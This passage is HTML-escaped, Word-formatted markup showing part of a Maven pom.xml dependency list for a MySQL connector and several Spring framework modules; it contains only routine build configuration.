&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;2.3.16&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #3f5fbf; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;!-- MySQL database driver --&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;mysql&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;mysql&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;-connector-java&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;5.1.9&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #3f5fbf; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;!-- Spring framework --&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.springframework&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;spring-&lt;u&gt;orm&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;3.2.0.RELEASE&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.springframework&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;spring-context&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;3.2.0.RELEASE&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.springframework&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;spring-core&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: 